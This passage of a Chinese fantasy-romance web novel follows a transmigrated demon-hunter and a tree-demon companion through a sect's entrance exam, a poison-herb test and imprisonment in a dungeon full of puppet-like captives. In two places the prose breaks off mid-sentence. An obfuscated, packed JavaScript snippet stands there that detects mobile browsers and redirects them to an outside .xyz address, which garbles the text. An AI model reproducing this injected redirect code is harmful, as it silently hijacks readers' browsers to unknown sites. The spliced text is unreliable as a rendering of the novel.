姜望舒有些无奈,她也没想到自己能直接把石头打碎,原来在不知不觉间,自己的实力已经超出了预期。 接下来的祁辰对于自己的妖力掌控就比较好了,他也假装很用力地向前推出一掌,实则收着力,在他的控制下,测试石只是裂了两道缝隙,也顺利过关,站到姜望舒身边,摸摸她的脑袋,任谁都能看出来两人是一对儿。 在他们来之前就已经私下商量过了,只有剑痴是毫不保留实力的,这样才能更大范围地行动。 剑痴还是那副呆愣的模样走到测试石前,他是最后一个进行考核的,周围人的目光此刻都看向姜望舒,通关的弟子中有人感慨:“看来,单凭内力来看,最醇厚的应当还是那个叫姜姜的了。” 话音未落,新的测试石就直接成了粉末,惊掉了那人的下巴,包括姜望舒。 祁辰则是伸手摸下巴,饶有兴致的看向剑痴。 就在几分钟前,剑痴拿着自己手中的木剑,静静地站在测试石前,考核的时间是三分钟,他一动不动地望向自己的剑,不住地伸手抚摸着,阴月派弟子已经等得不耐,但没到规定的时间,所以也不能开口说话。 众人早就对他失了兴致,纷纷议论姜望舒的表现,以至于几乎没有人看到剑痴究竟是如何出手的。 在看到的人眼中,他根本就没动,只是目光从自己怀中的木剑转移到测试石上,石头就悄然成了粉末。 姜望舒观察的更加细致一些,在他抬头之前,他的眼睛紧闭,周身气息渐渐收敛,呼吸逐渐变得悠长而深沉,刹那间,有一股能量从他体内涌出,如同实质般将测试石碾成粉末。 这股能量很凌厉,不是内力,不是灵力,也不是妖力,但却威力巨大。 姜望舒也想不明白到底是什么,于是附耳悄悄问祁辰:“你感觉到了吗?剑痴的攻击仿佛与旁人的不同,是新创的什么能量呢?” 祁辰的注意力被拉回,看到旁边垫脚凑近自己的少女,掩藏不住脸上的笑意,饶有趣味地凑近她说道:“我的确知道刚刚那是什么,姜大捉妖师不知道吗?” 而在姜望舒的视角中,就是面前突然放大的俊脸,有点晃眼,脸有些发烫,于是默默将踮起的脚尖放下,稍稍拉开距离,讪讪道:“我如果知道干嘛还问你!” 见自己的目的达成,祁辰也不再逗弄她,低声道:“你听说过有一种能力叫做意念吗?” 姜望舒一脸莫名其妙地看着他,好像他在说笑,你听听这话,说得多离谱啊! “骗你做什么!”祁辰弹了她脑袋一下,继续道:“剑痴对自己的剑和那只花妖有很深的执念,你可以理解为这种执念生成了很强烈的剑意,不同于我们的妖力、灵力和内力,因为每个人的执念都不同,所以这是一种独属于他自己的,意志力。” 她听明白了,脑海中瞬间浮现出一句话:如果眼神能杀人的话,那你早就死了千百回了,落在剑痴的身上,就是他的眼神真的能杀人。 “能凝聚出这等意志力的,古往今来,我只知道你们人类中那个叫沈天的捉妖师,他当时应该是一心想要保护人类不受伤害。” 姜望舒摩拳擦掌,暗戳戳想着这种剑意和自己的内力、灵力相比哪个更厉害呢?还是剑痴的剑意和自己的能力根本不在一个层面上,可以直接化解现存的妖力、灵力及内力呢? 虽然她刚刚同时调动内力和灵力也有把握将测试石碾成碎片,但是没有和他真正交过手,到底是有些遗憾。 祁辰一眼就看出来她在想什么了,撇嘴道:“又想打架了?别胡思乱想了,他根本打不过你的。” “为什么?你和他比试过?”姜望舒猛地抬头,一脸不信。 祁辰低头耐心地解释:“你应该也感受到了,他根本不会修炼,顶多算体格异于常人,所以他攻击的方式只有自己的剑意,剑意的强弱来皆自于执念,可他的执念是什么呢?” 姜 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脑海中出现了一个不可思议的念头:还真有人看他们长得老实想来骗他们??? 公子哥先是对姜望舒抛了个媚眼,姜望舒差点瞎了,她身边的妖怪和师兄个个颜值奇高,早就免疫了,这时候看到他的动作只觉得眼前一黑。 见她表情呆愣不为所动,公子哥以为她是不好意思了,有些得意地笑笑,开口道:“二位兄台,这位姑娘,王某是从京城来的,家中有几间铺子,看你们的样子,应当是从很远的地方来的吧。” 他倒是没直接说出口,但姜望舒几人当然听出来了,说他们住的偏僻呗。 但其实还真被他说中了,他们三人的确住得都挺偏僻的,姜望舒就不用说了,连云峰连个人影都难见,家中的弟子师父们都是不归家的,剑痴住的青柳村也是在山沟沟里的。 祁辰住得就更偏僻了,去过的人都死了。 所以这话他们受得心安理得,连表情都没有什么变化。 “哈哈,当然,王某也没有别的意思,就是看刚刚三位表现出来的能力非凡,考核绝对没有问题,所以想和你们交个朋友,日后在宗门里也好有个照应。”见几人没有回话,他继续说着。 “这样吧,我看你们年纪都不大的样子,王某可以做你们的师兄。” 哦,这下实锤了,的确是看他们傻,想要来占便宜的。 剑痴还是一如既往地没反应,姜望舒第一时间看向祁辰,担心他直接发飙掀了整个大殿,好在他只是握紧了拳头,还没有到重拳出击的时候。 姜望舒噗嗤一声,轻笑缓解气氛道:“王兄,你有所不知,顽石可琢,朽木可雕,如尔脑残,不可救药。” 他立刻反应过来自己被骂了,脸红脖子粗地指着她,还没来得及开口,手指就莫名其妙断了一根。 祁辰轻描淡写道:“上一个敢这么指着我们的,坟头草已经五丈高了。” 40. 繁华似锦遮不住(四十) 他们这边的动静不算小,经过周围人七嘴八舌的谈话,他们发觉这人还真是京城来的公子哥,家里世代行商,在京城那寸土寸金的地方有几件铺子足以可见其财力非普通人家可比。 “说,是不是你们干的,一定是你们!我要让你们的破村子被铲平,即使日后在阴月派留下来也不好过!” 由于没看清祁辰是如何出手的,他只能无能狂怒,后退几步,怒斥着,只是这次没敢再伸手指着几人。 姜望舒三人还是一脸无所谓的模样,甚至连个眼神都不愿再分给他,就好像他是什么脏得难以入眼的东西,跳梁小丑罢了。 对一个人最大的侮辱莫过于吵架的时候彻底无视对方,果然,他气得近乎昏厥。 眼见一记不成,他开始向周围人诉苦:“别摆出一副无所谓的样子,倒像是我在欺负你们一样,你看看我这手,我好心和你们搭话,就这样对我。”真当其他人是傻子了。 “没事,我们不怪你。”姜望舒淡定回应。 “行了,吵什么呢?肃静!第一轮考核结束,过关的人和我一起进入最后的考核!”有阴月派的弟子及时出来制止了这场闹剧。 一共有二十五人留了下来,这在门派招揽中已经算是人数很多的了,捉妖就如同在刀尖上行走,随时有可能丧命,且极倚靠天赋和努力,只有小部分人才能成为一名合格的捉妖师,这也就是捉妖师地位极高的原因。 这二十五个人分别被带进不同的房间内,姜望舒跟着前面的弟子走到一扇紫光闪闪的门前,弟子示意她进到房间里。 她伸手推门,门后是一片静谧的黑暗,有一种令人窒息的沉静,房间里弥漫着淡淡的熏香,混合着各种草药的清苦,这香气过于浓烈,以至于让她感到一阵头晕烦闷。 当房门再次关上后,从房间的四角发出微弱的光线,姜望舒这才看清眼前的景象。 这里空间狭小,每一寸空间都好似被精心设计过,只为将人的心境逼至极限,在房间中央,有一张低矮的木桌,桌子上有两个木盒。 “坐下,辨认这两个木盒中的草药,你只有一刻钟的时间,将你的答案写在旁边的宣纸上。” 一个声音从虚空中传来,说话者似乎是使用了某种法器,能够模糊音色。 辨认草药,还好她来之前练过。 此刻,姜望舒有一种考试前压中了题目的窃喜,至少也是背过好些本与之相关的书籍,总不至于拿个太差的成绩吧。 如她所料,第一个盒子内的草药她基本都识得,接下来就是将这些草药的名字写下来,她落笔倒是没有什么犹豫,很快就将第一张宣纸放到桌子上。 在她的注视下,那张纸飘到了半空中,然后凭空消失不见,紧接着,第二个盒子自动弹开了,可当她的目光落到盒子内里面的草药时,拿笔的动作顿了顿,指尖因为微微用力而有些泛白。 在盒子里,赫然装着噬心花,亦或是紫粉草,她立刻就反应过来,出题人是让她分辨到底哪一株是噬心花或是紫粉草。 难就难在,两朵花的花芯均被拔掉,而从外观上来看,他们之间的区别也只能从花芯分辨。 唯一的办法,似乎就是以身试毒? 姜望舒有些犹豫,噬心花的毒素过于强悍,短时间内伤口就会溃烂,直至蔓延至全身,化为一滩血水,而且其余毒难以消除,相对来说,紫粉草毒性小到可以忽略不计,基本用于制药时调和药性。 她突然想到之前在捉妖师大赛的时候,自己面对蛇妖的毒能够毫发无伤,全身而退,就是不知道她体内这莫名其妙的抗毒性,能不能抵抗的了噬心花的毒了。 当然,这是最后一招,她倒没那么傻,将希望全部寄托在自己所谓的抗毒体制,也不想把自己的性命全权交给运气。 既然是考核,就一定会有过关的方法,不是人人都是在药罐子中泡大的,除非出题人想要他们都死,所以故意设置了一个死局。 她冷静下来,闭上眼睛,再次仔细回想自己从推开门进入到这个房间后的种种行为,她坐下来,打开第一个盒子,写下答案,纸张被收走,第二个盒子,是无法分辨但又必须辨认的草药。 忽然,姜望舒睁开眼睛,明白到底该如何做了。 她轻笑,伸手随意地从两株草药中取其一,然后毫不犹豫地用它的叶片划破掌心,很不幸,她居然真的运气奇差,拿到的是噬心花,手掌立刻开始隐隐作痛。 姜望舒并没有慌乱,而是动作迅速地拿起刚刚第一个木盒中的几株确定无毒的草药捏出汁液滴到手掌被腐蚀处,将全部都试完后,剧痛还是没有缓解。 她没有犹豫地拿起之前木盒中唯一一株毒草,将它的汁液滴到掌心。 伤口处先是传来一阵如刀割般的疼痛,让她整只手都忍不住在颤抖,黑色的血珠渗出,她的脸色愈发苍白,豆大的汗珠从她的额头滑落,滴落在木桌上,发出细微的“嗒嗒”声。 但是,接下来,一股清凉感从伤口处蔓延开来,是刚刚的毒草起作用了。 是的,她想到了,既然不能通过外表观察,那么就只能从它的功效来分辨了,而为了不设定死局,选拔出真正有实力的人才,这里就一定会有解毒之法。 这个狭小的房间里,能够治疗的就只有第一个木盒子里的草药,所有无毒的治疗仙草都尝试过了,只剩下最后一株毒草,学名叫做魔藤,她在书籍上见过它的功效,也属于剧毒的植物,和噬心花可以说八竿子打不着的关系,自然也不会解除噬心花的毒素。 只是,如果这魔藤不是原本的魔藤呢? 她捏起刚刚拿着的魔藤,仔细观察,果然发现了不对劲,这草药上有术法,掩盖了它真实的样子,术法的等级很高,属于不可逆转回原貌的,就是不知道这样的话,第一张宣纸上的答案是否算作错误了。 她的想法别人倒不难想到,只是这份敢真正以身试毒,将 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她的眉头皱起,这毒气显然不是他们那些还没有真正开始修炼的普通人类所能承受的,难道说阴月派是想要把人骗进来杀?不对,如此损人不利己的事情,一个光鲜亮丽的宗门是不会大费周章去做的。 看来,这阴月派内部的确如沈墨尘所说的,已经出现了一些大问题,但是现在她又该如何应对这样的局面呢? 此刻,狭小的空间如同变成一口棺材,压迫着她的呼吸,尽管她屏气凝神,但是雾气还是顺着指缝、皮肤的毛孔,一点点地侵蚀着她的意识,她能感觉到自己的视野开始模糊,眼前的世界像是被蒙上了一层灰色的纱帐。 那毒气,就像是从黑暗中深处的无形之手,一点点收紧着她的喉咙。 她挣扎着想要站起来,可双腿却像是灌了铅,沉重得难以挪动,她甚至能够听见自己的心跳在回荡,留给自己的时间不多了,而那毒气,正以一种极快的速度,将她吞没。 十分钟后,坐着的姜望舒悄咪咪睁开眼睛,你猜怎么着,嗐!她居然没事? 现在的她感觉自己神清气爽,生龙活虎,仿佛刚刚就是一场错觉,如此看来,她的身体不知在何时居然真的有耐毒性,那么就算刚刚她没有找到解噬心花毒的方法,她最后也应当无碍,只是过程会痛苦一些。 姜望舒在内心纠结了一下,当机立断,直接将计就计,假装自己真的被迷晕了,以此来看看阴月派到底在耍什么花样。 但是…… 她不知道中了毒的人应该是何反应啊! 算了,装一下吧,每个人体质不同,所以中毒的反应有所差别也是合情合理的,万一对方觉得她就是体制特殊,所以药性挥发的慢一些呢? 思及此,她眼睛一闭,脑袋一歪,假装自己睡过去了,倒下去的瞬间,还不忘调整一下姿势,让自己躺的舒服一点。 来“收尸”的人不知道何时会来,所以说什么也不能委屈了自己。 41. 繁华似锦遮不住(四十一) 装死也是一项技术活,不能表现得像是真的睡过去了一样,是以,须眉头紧皱,面露痛苦的神色,呼吸也要放轻。 姜望舒突然有些后悔给自己选择这么舒服的一个姿势了,等的时间太久,有点困倦了,好在她意志力强大,放在地上的手指微微蜷缩,让指甲在掌心留下痕迹,刺痛感让她清醒了些。 终于,外面的门被打开,她感觉到有两个人走了进来。 “这个也成功晕过去了,之前看第一场考核的时候,还以为是有多厉害呢,看来也中招了。”其中一个人说着。 “她能分辨出噬心花和紫粉草,已经算是不错的了,可惜,来的不是时候,别废话了,快来一起把她搬走。”另一个人附和道。 趁着两个人聊天的空档,姜望舒的眼神在半闭的眼帘下微微转动,观察起周围,这是两个面生的阴月派弟子,在他们走过来的时候,她立即闭上了眼睛。 “咦?好像有哪里不对劲?” 一声惊呼响起,让姜望舒的内心一紧,脑海中飞速转动着各种念头,体内的灵力也在悄然流转。 难道被他看出了什么破绽? “你看,如果她真的中了傀儡术,为什么指甲没有变成黑色?” 紧接着,姜望舒就感觉到自己的胳膊被抬起,抓着她胳膊的人似乎是在向另一个人展示着她的手,她现在的姿势并不适合弹起攻击,所以她在思索着先发制人的可能性。 就在气氛一度变得很紧张的时候,好在另一个弟子对这份质疑不以为意。 “人和人的体质不同,既然她的实力比其他人强,那么傀儡术在她体内蔓延的慢一些也实属正常,你难道在质疑上头那位吗?” 对!就是这样!和她想的一模一样,感谢他的发声,谢了老兄。 眼见另一个弟子因为这话也不再怀疑,姜望舒悬着的心又放回了肚子里。 由于体重较轻,她直接被其中一个人抬到肩上,另一个人只是在侧走着,她的身体随着步伐微微晃动,始终保持着昏迷的状态,几缕发丝遮住了她略显苍白的脸,倒真添了几分柔弱与无助。 尼玛,能不能轻点晃,生无可恋。 和她乖顺外表不符的,是她内心尖叫着的心声!真的,要被晃吐了!而且扛着自己的这弟子也不知道是不是被苛责了,极其得瘦,肩膀硌得她的腰生疼! 不像祁辰,该瘦的地方瘦,该有肉的地方有肉。 呸,不对,怎么会想起那家伙。 这边姜望舒内心正胡思乱想着,转眼他们已经走了很远,气温很明显在降低,她感觉他们正在一直向下走,但是因为侧面有人,所以她没敢睁开眼睛观察。 被扔到草垛上后,听到他们离开的动静,她这才小心翼翼地睁开眼睛,她现在正被关在一个地牢里,怪不得刚刚她会觉得气温变低了,不仅如此,这里还很潮湿,四周的墙壁斑驳陆离,长满了绿色的苔藓,触摸起来滑腻,令人作呕。 空气中的腐臭味弥漫在各个角落,有光线透过重重铁窗的纹路,现如今是白日,所以地牢内并不显得过分黑暗。 姜望舒难以忍受,捏着鼻子,好在她身下的草垛看着还算干净,也没有什么奇怪的味道,不然她真有可能原地弹起。 站起身后,她这才得空观察周围的环境,走到门前,发现门上是一个小小的高级阵法,铁栅栏外还有很多这样的房间,形形色色的人被关在里面,还有的牢房是空着的。 姜望舒发现这些被关着的人里面还有她熟悉的面孔,好在她之前细细观察过这些人,所以还能辨认出来,目光所及之处,新关进来的人只有姜望舒醒了过来。 突然,一只修长熟悉的手从侧面伸过来,微微偏头,便看到那张笑脸盈盈的脸。 “就知道你会假装中招,所以我也来了。” 祁辰的目光扫过姜望舒的脸庞,似乎是在确认着什么,良久,才放宽心一般地轻声浅笑,下一刻,在她震惊的目光中,祁辰直接穿过铁栅栏,来到了她的牢房内。 她刚刚环顾四周,并没有发现剑痴的影子,想来他应当是过关了,这样也好,他在外面也能有个照应,扩大他们的探查范围。 只是姜望舒还是没能得知她这百毒不侵的体质到底是从何而来,又能做到何种程度,不过总归不是什么坏事。 祁辰对剑痴顺利过关表现得仿佛是意料之中,剑痴手中有那花妖留下的一片花瓣,同为植物开灵智修炼成妖,他可太了解对方了,绝对不会无缘无故仅抛下一个毫无用处的东西当作念想。 反而送的更有可能的是能够对自己爱人有帮助的物件,植物看植物,什么毒草灵草一眼就明白是什么本性。 但是…… 祁辰认真地盯着姜望舒,微皱眉问:“我想不明白,你的体质居然如此特殊,之前在蛇洞的时候就发现了。” “我也不知道,可能是天生的吧?”原身的记忆里并没有她体制特殊的原因,也许就是天生的。 祁辰显然并不认同这个看法,在这个世上,只有他们植物妖才有可能修炼出这种体质,当然也有人类捉妖师专攻这方面的,可就算是再厉害的人,也不可能像他们植物一样,做到百毒不侵。 甚至真正做到永不会中毒的,世上也就只有他祁辰了。 可她是说她天生就百毒不侵?这件事情总让他觉得哪里不对劲,就像天边星星滑落,火苗窜起,让他想要拼命抓住什么,可是消失的太快,独留他在原地懊恼。 说到这里,姜望舒倒真回忆起一件事情,在原身的记忆里,她曾经的养父母经常饿着她,所以原身有几次吃的都是发霉的食物,也因此食物中毒过几回,但这和草药的毒不是一种性质。 可是,还有一次,那天,原身也饿了很久,家中连馊饭都没有了,她自己一个人跑到山中,坐在冰冷的地面上,双手紧紧抱着膝盖,试图抵御寒冷,腹部饿得抽痛。 她的目光被大树下的一对蘑菇所吸引,看起来鲜嫩多汁,她犹豫了片刻,还是忍不住摘下了一朵,反正不吃也会饿死,还不如赌一把。 没过多久,她的脸色突然变得苍白,眼睛瞪的大大的,喉咙开始发紧,胃里像是有一把火在燃烧,一阵阵剧烈的疼痛让她更紧地抱住自己,双手紧紧捂着腹部。 之后,她感觉自己四肢麻木,身体不由自主地开始颤抖。 所幸后来她被不知道何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472625|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时回来的隔壁爷爷救了下来,当时的原主总在想,如果这个老爷爷能够不走该多好,可惜他总是神出鬼没。 由于融合了两具身体的记忆,导致她一时间没有想起来这件事情,现在思考起来,她当时的身体连毒蘑菇的毒性都无法抵抗,更别现在的噬心花了。 既如此,她身体的抗毒性很有可能是自己魂穿过来后才出现的,只是为什么?到底是哪里来的? 姜望舒愣神之际,另一边的祁辰也是一副魂不守舍的样子,他突然凑近她,一张俊俏的脸在她面前放大,成功拉回她的思绪。 “姜大捉妖师,我能检查一下你的身体吗?” 蛊惑的声音响起,如同恶魔低语,魅惑来往的路人掉入他早就设立好的陷阱之中。 姜望舒:?。 看到她骤变的脸色,祁辰就知道是她想偏了,但是他也没纠正,而是愈发靠近她,两人彼此的呼吸交缠,垂眸看去,一抹嫣红尽在眼前。 “我不是那个意思,当然,如果你想要的话也可以,但我们是不是应该先确定一下关系?我还没告白。” “滚。” 有那么一瞬间,姜望舒是真的下意识地想说“好,我们试试”,但话还未说出口,内心那扇原本打开一丝缝隙的门又被重重关上,她可以和他恋爱吗?他们之间相差着几千岁,她不过是他漫长岁月中的一朵小小浪花。 凡人的年龄短暂,妖怪年岁悠长,她不知道他的过往都经历过什么,也不能保证自己离去后祁辰又当如何,她自私地不想让他再有别人,可是又不想他孤独到死。 或许在她死后,祁辰会和其他的人类或是妖再次相爱,彼此许诺下一个百年,他们也会如二人现在这般畅意云游四方,会怜护那名女子,她短暂的人生经历就像是一粒沙子,汇聚到他早就积攒起的浩瀚沙漠中。 原来,在她没有注意到的地方,她的心早已方寸大乱,无能为力又无可奈何地悄然塌陷。 更何况,她自己都有难言之隐。 抛开这些暂且不谈,最重要的是,他喜欢的到底是她,还是原身这幅皮囊,原身团宠的地位,这些深藏在她内心的障碍让她无法开口。 她该如何询问呢?顶着别人的身份,享受着原身本该拥有的宠爱吗? 看到姜望舒似乎是真的呆住了,和之前每次的调笑都不同,她好像真的在认真的思考,只是伴随着时间的流逝,她的脸色也越发难看。 祁辰感觉到一种没由来的恐慌,语气也变得小心翼翼:“你……别生气,这种调笑的话我以后不说了。” “嗯。” 姜望舒心不在焉地应了一声。 祁辰不知道她心情变差的原因,只当是因为刚刚他说错了话,恍惚间觉得她现在的状态很像是上次她从皇宫悄无声息地离开,所以他下意识地瞥了一眼她手腕上的镯子。 其实,他没有告诉姜望舒的是,这镯子的确有他的追踪记号,但上面凝聚了他部分的妖力,除非她的实力达到他的层次,否则是摘不下来的。 活了万年的老树妖终于感觉到棘手了,他不知道该怎么做才能让姜望舒重新振奋起来,找不到线的源头,反倒越理越凌乱。 42. 繁华似锦遮不住(四十二) 所以,她是因为不想和自己在一起才生气的吗? 祁辰的脑海中突然闪过这样的念头,如果她不心悦自己该怎么办? 一直以来,他能感觉到姜望舒对自己越来越依赖,他知道她就像那手中沙,越是握紧越会逃离,所以他要慢慢建立四周的墙壁,将她一点点圈入自己的领地,直到她反应过来时,发现已经无法离开了。 可是现在,她不想,对于他修建的高墙有了抵触的情绪,那他又当如何呢? 直接将她关到自己的玄鹤殿中,那里没有其他人,只会有她和自己,到时候他总会有办法让她快乐的。邪恶黑暗的念头不停在他脑海中滋生,一旦开始,就难以停下来,如同经过绵密细雨的浇灌,疯狂生长。 为什么要背对着他?为什么不理他了? 但触及到她那双发亮的眸子时,他的心又软了下去,终是无奈地长叹一口气,绿色的雾气从狭长的眼尾处消散,取而代之的是心疼和歉意。 他弯腰,和姜望舒平视,声音又柔又轻,像羽毛落在水面:“能告诉我你怎么了吗?别生气。” 看到祁辰这样,姜望舒内心更加内疚,她好像走进了一个怪圈,钻了一个无法逃出的牛角尖,可就是没有胆量开口说出那句:其实我不是姜望舒,我只是一个魂穿过来后连家都找不到的孤魂野鬼。 憋了半天,她最后只干巴巴的说:“没事,没有生气。” 祁辰忽地笑了,握着她的手还在轻轻摩挲着,紧盯着她的眼睛,装作假哭道:“呜呜呜,可是怎么办呢?以我对你的了解,你好像还是不高兴呢。” 姜望舒没有抽回手,耳朵尖微红,挠头道:“真没生气。” “你不喜欢我吗?”祁辰表情委屈,又在用他那张脸蛊惑她了。 “喜欢……” 眼看目的达成,祁辰变脸似地低声笑起来,要不是场合不对,他还真的想听姜望舒接下来会怎么说,就是这环境,啧,着实是太糟糕了,不适合告白。 “好了乖,我看看你的身体到底是怎么一回事?” 说完,就要用术法从姜望舒手指处取一滴血,却被她不着痕迹地躲开了。 姜望舒担心他的术法能够看出自己是魂穿而来的,转而又想到灵魂这东西玄而又玄,他又不会读心术,取一滴血而已,应当看不出来什么,何况她自己也很好奇这百毒不侵的体质是怎么回事。 祁辰似乎对于这件事情格外执着,又把她躲开的手拉了回来,一节藤蔓从掌心伸出,上面的尖刺迅速刺破手指,挤出一滴鲜血漂浮在空中,他又向这滴血中注入自己的妖力探查。 随着妖力不断注入,他的脸色也愈发凝重,没了平日嬉笑的神情。 “阿舒,你的血根本无法抵御毒性。” 说罢,似乎是为了证明他的说法,他从口袋中拿出一株毒草,将毒草的汁液滴在那枚鲜血上,果不其然,原本鲜红色的血液被浸染,颜色转变为黑。 姜望舒也很懵,那她为什么没有中毒? 祁辰握住她的手,将自己的妖力缓慢注入她的体内探查,其实这是一个比较暧昧的举动,因为在这个过程中,她能很清晰地感觉到他的妖力一点点浸入自己的身体,探寻。 可是现在两人的心思都没在这上面。 祁辰难得后退一步,满脸不可置信道:“你的身上有我的妖力。” “啊?什么意思?”姜望舒没有明白,什么叫做她身上有他的妖力,是指她手上的玉镯子吗? “你本身的体质并不是百毒不侵的,是会中毒的,所以在刚遇到毒的时候,你应当会感到难受,但是我的妖力能够解世界上所有的毒,所以,经过我妖力的净化,你的毒自然就解了。” 姜望舒这才恍然大悟,怪不得他之前说所有植物都要臣服于他,合着是打也打不过,毒也毒不倒啊。 地牢中吹来一阵冷风,原来是牢房上面的铁窗没有关,她直接一抬手,用内力将窗户轻轻合上,可惜,寒冷还是顺着骨缝侵入,让她不得不驱动内力来让自己暖和。 “之前你送我的镯子,不是就带着妖力吗?”姜望舒倒是并没有觉得有问题,要说他们二人走南闯北如此多时日,遇到危险时刻互相注入灵力妖力也是常有的。 “不是简单互换妖力就可以的……”祁辰知晓姜望舒并不明白他们植物妖那些道道,书籍上更不会有记载,所以他耐心地解释,“我送你的镯子就好比一湾水池,但想要做到解毒需要的是源源不断的泉水供养。” 那就奇怪了,她怎么会有祁辰的妖力? “自几年前的一天我醒来后,妖力便大减,我一直都不知道原因,或许和你有关。” 姜望舒无辜脸,歪头,脑后白色发带也跟着晃动,困惑道:“我们之前是不是见过?可是我不记得了。” 请苍天辨忠奸!她可没有偷他的妖力啊! 这个问题祁辰也没办法回答,可种种迹象都指向他们二人有着千丝万缕的联系,突然,他抬头想要确认:“你有没有无故失去记忆,或是生活中有什么反常的?” 姜望舒真的认真思考起来,原身的记忆是齐全的,但在姜府的记忆……已经变得很模糊了。 “的确有记忆缺失,完全想不起来了,但是其他的并没有什么反常。” 她谨慎地说着,既隐瞒了自己魂穿的事情,又回答了他的问题。 祁辰明显激动起来,眼神放光,不带情欲,而是那种来自灵魂深处的碰撞,是在经历没人理解的痛苦后遇到的高山流水。 “那就是了,我的记忆没有问题,但也有过很多莫名其妙的偏执,比如那一定要销毁的莲灯。” 他不说还好,一说姜望舒想起来那莲灯可不就在她身上吗!之前本来想要带给沈墨尘的,没想到他直接失踪了,如此一来,她更要把莲灯藏好,不能让阴月派的人发现。 最近发生的事情一件接着一件,她好像就没有停歇过,直接把莲灯的事情忙忘了。 “这……这是哪里?” 突然的说话声打断了他们接下来的对话,二人立刻噤声,祁辰直接用了隐身术,防止被其他人看到自己穿墙过来。 转头望去,接下来的一幕让姜望舒毛骨悚然,对面地牢中的刚刚还躺着的男子突然坐了起来,在微弱的光线下,他的脸显得格外阴森,因为他没有瞳仁,只有眼白。 他的四肢似乎是有些僵硬,挣扎坐起的动作十分艰难,胳膊只能保持着固定的动作,至少姜望舒没看到他的胳膊可以弯曲。 应该是方才听见姜望舒这边有动静,所以他的脸直直地看向姜望舒这边,真挚的语气仿佛真的只是想要询问一个答案。 姜望舒猛然受到惊吓,死死地咬住下嘴唇才没有发出尖叫,但不自觉地向后退了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478041|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,撞到了一个宽厚温热的胸膛,是祁辰发觉她的恐惧,在她身后轻拍肩膀。 死一般的沉寂后,那人别过头去,他的视力似乎已经没有了,方才凭借着声音辨别方向,当下以为自己是听错了,喃喃自语道:“奇怪,明明听到有人说话的,我是谁来的?” 终于挣扎着站了起来,在他自己的牢房中四处摸索着。 姜望舒也发现了他的异常,冷不丁受到惊吓后的心已经再次平复下来,现在细细观察那人,发现他一张脸扭曲,眼睛深陷,皮肤也变得苍白如纸,那几根手指似乎变得异常修长,指尖锋利如刀,指甲呈现出诡异的乌黑色。 看来他的记忆是被抹去了,身体也失去了控制,应当是毒气的缘故,他的状态让姜望舒想到一种可能:傀儡。 其他人也陆续醒过来,状态和这个人都差不多,控制不了自己的身体,表情呆滞,茫然四顾,不跑也不闹。 姜望舒看得无聊,干脆直接盘腿坐了下来,手习惯性地揪着草席上的枯枝,直到可怜的草席破了个洞,才逃离她的魔爪。 鉴于这些人两眼一抹黑,仿若睁眼摸瞎,祁辰自然不必孤孤单单地回到冰冷的牢房,而是可以靠着姜望舒坐下,百无聊赖地撑着下巴,盯着她左看右看。 姜望舒被他看的心里发毛,不知道他又犯什么病了,直接伸手把他那双泛着光又会蛊惑人的眼睛给捂住了。 哪曾想对方居然得寸近尺地就着她的手蹭来蹭去,长长的睫毛扫得她手心痒痒的,像某种乖顺的大型犬,良久,似乎不太满足,手心伸出的藤蔓轻轻缠绕在她的手腕上摩挲着。 翠绿色的枝条和白色肌/肤交映,倒有种别样的美感。 好像从两人坦诚说明异常后,祁辰就变得不对劲起来,分外粘人,她那么大一个嚣张霸气的妖王呢? 等到日头从中间落到铁窗看不到的西边,地牢果然变得更加寒冷和潮湿,发现走不出去的其他人又形状各异地立在原地不动了,只有外面的透出的火光和莫名其妙的声响。 姜望舒突然有些羡慕这些傀儡,是不是根本感受不到冷暖,烦躁地拽了下辫子,加大催动内力,让自己僵硬的身体尽可能保持柔软。 两人大眼瞪小眼地等待着,她想要和祁辰聊天,可惜没有法器,人类是没有意念传声这一项本领的,所以她只能听祁辰在自己脑海中说话,她轻微地做动作算作回应,好在他人聪明,总是能理解她的意思。 “冷不冷?” 祁辰在她的脑海中问。 姜望舒摇头,旋即举起手,一只手假装拿着什么,还张开嘴咬空气,做了一个吃饭的动作。 “别担心,应该会有人来送饭的,傀儡也是要吃饭的,饿死了我们,谁来给他们当苦力呢?” 姜望舒瞥嘴,做了个无奈的手势,然后拉过他的藤蔓,摊手耸肩,一套连招下来,再次感慨技多不压身,还是妖怪的生活便利,他们人类不会的东西太多了。 “这个以后会告诉你的。”祁辰看懂了,认真地回复了她的问题。 他静静地坐了一会,颇有闲心地在姜望舒的脑海中唱起了小曲。 “天宫岁月太凄清,朝朝暮暮数行云, 我在门外踱步徘徊,今生能否把门开? 你我好比鸳鸯鸟,比翼双飞在人间, 树上的鸟儿成双对,绿水青山带笑颜……”